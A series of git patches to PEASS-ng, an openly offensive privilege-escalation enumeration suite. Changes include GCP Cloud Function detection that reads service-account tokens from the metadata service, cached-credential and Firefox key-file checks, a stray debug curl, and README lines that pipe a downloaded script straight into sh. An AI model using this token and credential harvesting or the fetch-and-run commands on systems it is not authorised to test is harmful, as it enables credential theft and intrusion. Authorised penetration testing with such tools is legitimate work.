17 00:00:00 2001 From: Lionel Ovaert Date: Sun, 18 Feb 2024 21:09:53 +0100 Subject: [PATCH 23/69] Add try-except for PrintCachedCreds --- .../winPEASexe/winPEAS/Checks/SystemInfo.cs | 29 ++++++++++++------- 1 file changed, 18 insertions(+), 11 deletions(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs b/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs index 310071f..ab046f5 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/SystemInfo.cs @@ -387,21 +387,28 @@ namespace winPEAS.Checks static void PrintCachedCreds() { - Beaprint.MainPrint("Cached Creds"); - Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user"); - string cachedlogonscount = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "CACHEDLOGONSCOUNT"); - if (!string.IsNullOrEmpty(cachedlogonscount)) + try { - int clc = Int16.Parse(cachedlogonscount); - if (clc > 0) + Beaprint.MainPrint("Cached Creds"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user"); + string cachedlogonscount = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "CACHEDLOGONSCOUNT"); + if (!string.IsNullOrEmpty(cachedlogonscount)) { - Beaprint.BadPrint(" cachedlogonscount is " + cachedlogonscount); - } - else - { - Beaprint.BadPrint(" cachedlogonscount is " + cachedlogonscount); + int clc = Int16.Parse(cachedlogonscount); + if (clc > 0) + { + Beaprint.BadPrint(" cachedlogonscount is " + cachedlogonscount); + } + else + { + Beaprint.BadPrint(" cachedlogonscount is " + cachedlogonscount); + } } } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } } static void PrintUserEV() From c4e858d2265d0b2f464ebe52598a867e1c689022 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 21 Feb 2024 16:39:46 +0100 Subject: [PATCH 24/69] cloud functions --- linPEAS/builder/linpeas_parts/3_cloud.sh | 64 +++++++++++++++++++++--- 1 file changed, 58 insertions(+), 6 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 0fb1269..0a8e56a 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -17,9 +17,15 @@ exec_with_jq(){ } check_gcp(){ - is_gcp="No" + is_gcp_vm="No" + is_gcp_function="No" if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then - is_gcp="Yes" + is_gcp_vm="Yes" + fi + # CHeck if /workspace exists + if [ -d "/workspace" ] && [ -d "/layers" ]; then + is_gcp_vm="No" + is_gcp_function="Yes" fi } @@ -133,7 +139,8 @@ check_az_app(){ check_gcp -print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "GCP Virtual Machine? ................. $is_gcp_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "GCP Cloud Funtion? ................... $is_gcp_function\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aws_ecs print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aws_ec2 @@ -315,12 +322,12 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then fi fi -if [ "$is_gcp" = "Yes" ]; then +if [ "$is_gcp_vm" = "Yes" ]; then gcp_req="" if [ "$(command -v curl)" ]; then - gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"' + gcp_req='curl -s -f -H "Metadata-Flavor: Google"' elif [ "$(command -v wget)" ]; then - gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"' + gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi @@ -411,6 +418,51 @@ if [ "$is_gcp" = "Yes" ]; then fi fi +# Check if the script is running in a GCP Cloud Function +if [ "$is_gcp_function" = "Yes" ]; then + gcp_req="" + if [ "$(command -v curl)" ]; then + gcp_req='curl -s -f -H "Metadata-Flavor: Google"' + elif [ "$(command -v wget)" ]; then + gcp_req='wget -q -O - --header "Metadata-Flavor: Google"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + # GCP Enumeration + if [ "$gcp_req" ]; then + print_2title "Google Cloud Platform Enumeration" + print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" + + ## GC Project Info + p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') + [ "$p_id" ] && echo "Project-ID: $p_id" + p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') + [ "$p_num" ] && echo "Project Number: $p_num" + + # Instance Info + inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) + [ "$inst_id" ] && echo "Instance ID: $inst_id" + mtls_info=$(eval $gcp_req http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration) + [ "$mtls_info" ] && echo "MTLS info: $mtls_info" + inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) + [ "$inst_zone" ] && echo "Zone: $inst_zone" + + echo "" + print_3title "Service Accounts" + for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do + echo " Name: $sa" + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") + echo " ============== " + done + fi +fi + + # AWS ECS Enumeration if [ "$is_aws_ecs" = "Yes" ]; then print_2title "AWS ECS Enumeration" From 186ae60e9efc14bb6d864e24ae5dbd8e12d67499 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Wed, 21 Feb 2024 16:39:57 +0100 Subject: [PATCH 25/69] fix --- build_lists/regexes.yaml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/build_lists/regexes.yaml b/build_lists/regexes.yaml index 42a4dd4..f7cb429 100644 --- a/build_lists/regexes.yaml +++ b/build_lists/regexes.yaml @@ -1,2 +1,3 @@ -# This is a placeholder. -# To fill this yaml execute one of the scripts download_regexes.py or download_regexes.ps1 \ No newline at end of file +# This is a placeholder +# It will be replaced by the actual regexes.yaml file +# generated by download-regexes.py or download-regexes.ps1 (execute it before building the tools) \ No newline at end of file From a79fb7f5d54ec5079597153ff3cb1313a6afefe9 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sun, 25 Feb 2024 20:50:25 +0100 Subject: [PATCH 26/69] Update 3_cloud.sh --- linPEAS/builder/linpeas_parts/3_cloud.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 0a8e56a..e59a669 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -154,7 +154,7 @@ check_do print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aliyun_ecs print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_tencent_cvm +#check_tencent_cvm print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_ibm_vm print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," From aee8acf60f88e789fb1311a4ddd91b83b421eb3c Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 26 Feb 2024 20:40:36 +0100 Subject: [PATCH 27/69] Update 3_cloud.sh --- linPEAS/builder/linpeas_parts/3_cloud.sh | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index e59a669..266ea8e 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -452,17 +452,19 @@ if [ "$is_gcp_function" = "Yes" ]; then print_3title "Service Accounts" for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" - echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") - echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") - echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") - echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" - echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") + echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}email") + echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}aliases") + echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}identity") + echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" + echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done fi fi +curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/405423052163-compute@developer.gserviceaccount.com/email" + # AWS ECS Enumeration if [ "$is_aws_ecs" = "Yes" ]; then print_2title "AWS ECS Enumeration" From e32f496f12de4150bc0dc835ff4e319e4b35279d Mon Sep 17 00:00:00 2001 From: HackTricks Date: Sat, 23 Mar 2024 13:02:56 +0100 Subject: [PATCH 28/69] Update FileAnalysis.cs --- winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs index 275194c..3da86fd 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs @@ -157,20 +157,17 @@ namespace winPEAS.Checks Regex rgx; bool is_re_match = false; try - { - // Escape backslashes in the regex string - string escapedRegex = regex_str.Trim().Replace(@"\", @"\\"); - + { // Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches" if (caseinsensitive) { - is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120)); - rgx = new Regex(escapedRegex, RegexOptions.IgnoreCase); + is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120)); + rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase); } else { - is_re_match = Regex.IsMatch(text, escapedRegex, RegexOptions.None, TimeSpan.FromSeconds(120)); - rgx = new Regex(escapedRegex); + is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.None, TimeSpan.FromSeconds(120)); + rgx = new Regex(regex_str.Trim()); } } catch (RegexMatchTimeoutException e) From db41676cdf26162d2bfa4fe3ddd0775206134454 Mon Sep 17 00:00:00 2001 From: Mike Date: Mon, 1 Apr 2024 15:35:56 +0200 Subject: [PATCH 29/69] Fix copy-paste mistake in Firefox.cs --- .../winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs b/winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs index 31d6c61..a067c87 100644 --- a/winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs +++ b/winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs @@ -120,7 +120,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox string firefoxCredentialFile4 = $"{directory}\\{"key4.db"}"; if (File.Exists(firefoxCredentialFile4)) { - results.Add(firefoxCredentialFile3); + results.Add(firefoxCredentialFile4); } } } From c37db4654cb5802ba6ffbb4e0660399d88586827 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 4 Apr 2024 11:30:56 +0200 Subject: [PATCH 30/69] peass-ng --- CONTRIBUTING.md | 10 +++++----- README.md | 16 +++++++-------- TODO.md | 2 +- linPEAS/README.md | 18 ++++++++--------- linPEAS/builder/linpeas_parts/linpeas_base.sh | 4 +--- metasploit/README.md | 6 +++--- metasploit/peass.rb | 4 ++-- parsers/json2html.ps1 | 2 +- parsers/peas2json.ps1 | 2 +- winPEAS/README.md | 10 +++++----- winPEAS/winPEASbat/README.md | 2 +- winPEAS/winPEASbat/winPEAS.bat | 4 ++-- winPEAS/winPEASexe/README.md | 20 +++++++++---------- winPEAS/winPEASexe/winPEAS/Checks/Checks.cs | 2 +- .../winPEASexe/winPEAS/Helpers/Beaprint.cs | 1 - winPEAS/winPEASps1/README.md | 6 +++--- winPEAS/winPEASps1/winPEAS.ps1 | 8 ++++---- 17 files changed, 56 insertions(+), 61 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b42abb6..76e305c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,19 +1,19 @@ # Contributing to this repository ## Making Suggestions -If you want to make a suggestion for linpeas or winpeas please use **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)** +If you want to make a suggestion for linpeas or winpeas please use **[github issues](https://github.com/peass-ng/PEASS-ng/issues)** ## Do don't know how to help? -Check out the **[TODO](https://github.com/carlospolop/PEASS-ng/blob/master/TODO.md) page** +Check out the **[TODO](https://github.com/peass-ng/PEASS-ng/blob/master/TODO.md) page** ## Searching for files with sensitive information -From the PEASS-ng release **winpeas and linpeas are auto-built** and will search for files containing sensitive information specified in the **[sesitive_files.yaml](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/build_lists/sensitive_files.yaml)** file. +From the PEASS-ng release **winpeas and linpeas are auto-built** and will search for files containing sensitive information specified in the **[sesitive_files.yaml](https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml)** file. -If you want to **contribute adding the search of new files that can contain sensitive information**, please, just update **[sesitive_files.yaml](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/build_lists/sensitive_files.yaml)** and create a **PR to master** (*linpeas and winpeas will be auto-built in this PR*). You can find examples of how to contribute to this file inside the file. +If you want to **contribute adding the search of new files that can contain sensitive information**, please, just update **[sesitive_files.yaml](https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml)** and create a **PR to master** (*linpeas and winpeas will be auto-built in this PR*). You can find examples of how to contribute to this file inside the file. Also, in the comments of this PR, put links to pages where and example of the file containing sensitive information can be foud. ## Specific LinPEAS additions -From the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that willbe merged into linpeas.sh*. +From the PEASS-ng release **linpeas is auto-build from [linpeas/builder](https://github.com/peass-ng/PEASS-ng/blob/master/linPEAS/builder/)**. Therefore, if you want to contribute adding any new check for linpeas/macpeas, please **add it in this directory and create a PR to master**. *Note that some code is auto-generated in the python but most of it it's just written in different files that willbe merged into linpeas.sh*. The new linpeas.sh script will be auto-generated in the PR. ## Specific WinPEAS additions diff --git a/README.md b/README.md index 19ad99f..c72e70b 100755 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation -![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/peass.png) +![](https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/images/peass.png) ![](https://img.shields.io/badge/Black-Arch-black) ![](https://img.shields.io/badge/Arch-AUR-brightgreen) ![](https://img.shields.io/badge/Black%20Hat%20Arsenal-Asia%202020-red) @@ -13,28 +13,26 @@ Here you will find **privilege escalation tools for Windows and Linux/Unix\* and These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily. - Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)** -- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)** +- **[WinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS) - Windows local Privilege Escalation Awesome Script (C#.exe and .bat)** - Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist)** -- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)** +- **[LinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS) - Linux local Privilege Escalation Awesome Script (.sh)** ## Quick Start -Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**. +Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ## JSON, HTML & PDF output Check the **[parsers](./parsers/)** directory to **transform PEASS outputs to JSON, HTML and PDF** -## Support PEASS-ng and HackTricks and get benefits +## Join us! -Do you want to have **access the latest version of Hacktricks and PEASS**, obtain a **PDF copy of Hacktricks**, and more? Discover the **brand new [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop?frequency=one-time) for individuals and companies**. - -**LinPEAS, WinPEAS and MacPEAS** aren’t enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!** +If you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!** You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live). ## Let's improve PEASS together -If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/CONTRIBUTING.md)** file. +If you want to **add something** and have **any cool idea** related to this project, please let me know it in the **telegram group https://t.me/peass** or contribute reading the **[CONTRIBUTING.md](https://github.com/peass-ng/PEASS-ng/blob/master/CONTRIBUTING.md)** file. ## Advisory diff --git a/TODO.md b/TODO.md index 1318841..82debea 100644 --- a/TODO.md +++ b/TODO.md @@ -1,7 +1,7 @@ # TODO ### Generate Nice Reports -- [x] Create a parser from linpeas and winpeas.exe output to JSON. You can fin it [here](https://github.com/carlospolop/PEASS-ng/tree/master/parser). +- [x] Create a parser from linpeas and winpeas.exe output to JSON. You can fin it [here](https://github.com/peass-ng/PEASS-ng/tree/master/parser). - [ ] Create a python script that generates a nice HTML/PDF from the JSON output ### Generate a DB of Known Vulnerable Binaries diff --git a/linPEAS/README.md b/linPEAS/README.md index bbedb97..298bfc3 100755 --- a/linPEAS/README.md +++ b/linPEAS/README.md @@ -1,6 +1,6 @@ # LinPEAS - Linux Privilege Escalation Awesome Script -![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/linpeas.png) +![](https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/images/linpeas.png) **LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)** @@ -13,16 +13,16 @@ Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed** ## Quick Start -Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**. +Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/peass-ng/PEASS-ng/releases/latest)**. ```bash # From github -curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh +curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # Without curl -python -c "import urllib.request; urllib.request.urlretrieve('https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" +python -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" -python3 -c "import urllib.request; urllib.request.urlretrieve('https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" +python3 -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" ``` ```bash @@ -47,7 +47,7 @@ less -r /dev/shm/linpeas.txt #Read with colors ```bash # Use a linpeas binary -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64 +wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64 chmod +x linpeas_linux_amd64 ./linpeas_linux_amd64 ``` @@ -149,7 +149,7 @@ With LinPEAS you can also **discover hosts automatically** using `fping`, `ping` LinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning. -![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/network.png) +![](https://github.com/peass-ng/PEASS-ng/raw/master/linPEAS/images/network.png) ## Colors @@ -223,9 +223,9 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s ## Collaborate -If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues) or you can submit a pull request**. +If you want to help with the TODO tasks or with anything, you can do it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues) or you can submit a pull request**. -If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/issues)**. +If you find any issue, please report it using **[github issues](https://github.com/peass-ng/PEASS-ng/issues)**. **Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. diff --git a/linPEAS/builder/linpeas_parts/linpeas_base.sh b/linPEAS/builder/linpeas_parts/linpeas_base.sh index 9a00d43..0e6dff5 100755 --- a/linPEAS/builder/linpeas_parts/linpeas_base.sh +++ b/linPEAS/builder/linpeas_parts/linpeas_base.sh @@ -246,7 +246,6 @@ print_support () { ${GREEN}/---------------------------------------------------------------------------------\\ | ${BLUE}Do you like PEASS?${GREEN} | |---------------------------------------------------------------------------------| - | ${YELLOW}Get the latest version${GREEN} : ${RED}https://github.com/sponsors/carlospolop${GREEN} | | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} | | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} | |---------------------------------------------------------------------------------| @@ -261,7 +260,7 @@ print_support () { echo "" if [ ! "$QUIET" ]; then print_banner; print_support; fi -printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\n"$NC; +printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by github.com/PEASS-ng\n"$NC; echo "" printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC" echo "" @@ -805,7 +804,6 @@ check_dns(){ ########################################### #----------) Network functions (----------# ########################################### -# Adapted from https://github.com/carlospolop/bashReconScan/blob/master/brs.sh basic_net_info(){ print_title "Basic Network Info" diff --git a/metasploit/README.md b/metasploit/README.md index c571b65..4a4cd71 100644 --- a/metasploit/README.md +++ b/metasploit/README.md @@ -9,7 +9,7 @@ In Kali: ```bash sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/ # or -sudo wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb +sudo wget https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb ``` Now you can do `reload_all` inside a running msfconsole or the next time you launch a new msfconsole the peass module will be **automatically loaded**. @@ -38,7 +38,7 @@ Basic options: PARAMETERS no Parameters to pass to the script PASSWORD um1xipfws17nkw1bi1ma3bh7tzt4mo3e no Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used . - PEASS_URL https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/wi yes Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng + PEASS_URL https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/wi yes Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/peass-ng/PEASS-ng nPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe /master/linPEAS/linpeas.sh SESSION yes The session to run this module on. SRVHOST no Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it. @@ -61,7 +61,7 @@ Description: HTTP instead of uploading it. References: - https://github.com/carlospolop/PEASS-ng + https://github.com/peass-ng/PEASS-ng https://www.youtube.com/watch?v=9_fJv_weLU0 ``` diff --git a/metasploit/peass.rb b/metasploit/peass.rb index d8ec16f..c9057f1 100644 --- a/metasploit/peass.rb +++ b/metasploit/peass.rb @@ -31,13 +31,13 @@ class MetasploitModule < Msf::Post 'SessionTypes' => ['shell', 'meterpreter'], 'References' => [ - ['URL', 'https://github.com/carlospolop/PEASS-ng'], + ['URL', 'https://github.com/peass-ng/PEASS-ng'], ['URL', 'https://www.youtube.com/watch?v=9_fJv_weLU0'], ] )) register_options( [ - OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"]), + OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"]), OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]), OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']), OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]), diff --git a/parsers/json2html.ps1 b/parsers/json2html.ps1 index c50e660..95db0a0 100644 --- a/parsers/json2html.ps1 +++ b/parsers/json2html.ps1 @@ -1,4 +1,4 @@ -# Based on https://github.com/carlospolop/PEASS-ng/blob/master/parsers/json2html.py +# Based on https://github.com/peass-ng/PEASS-ng/blob/master/parsers/json2html.py # TODO: create the script function parse_dict { param ( diff --git a/parsers/peas2json.ps1 b/parsers/peas2json.ps1 index c758caf..5f62afc 100644 --- a/parsers/peas2json.ps1 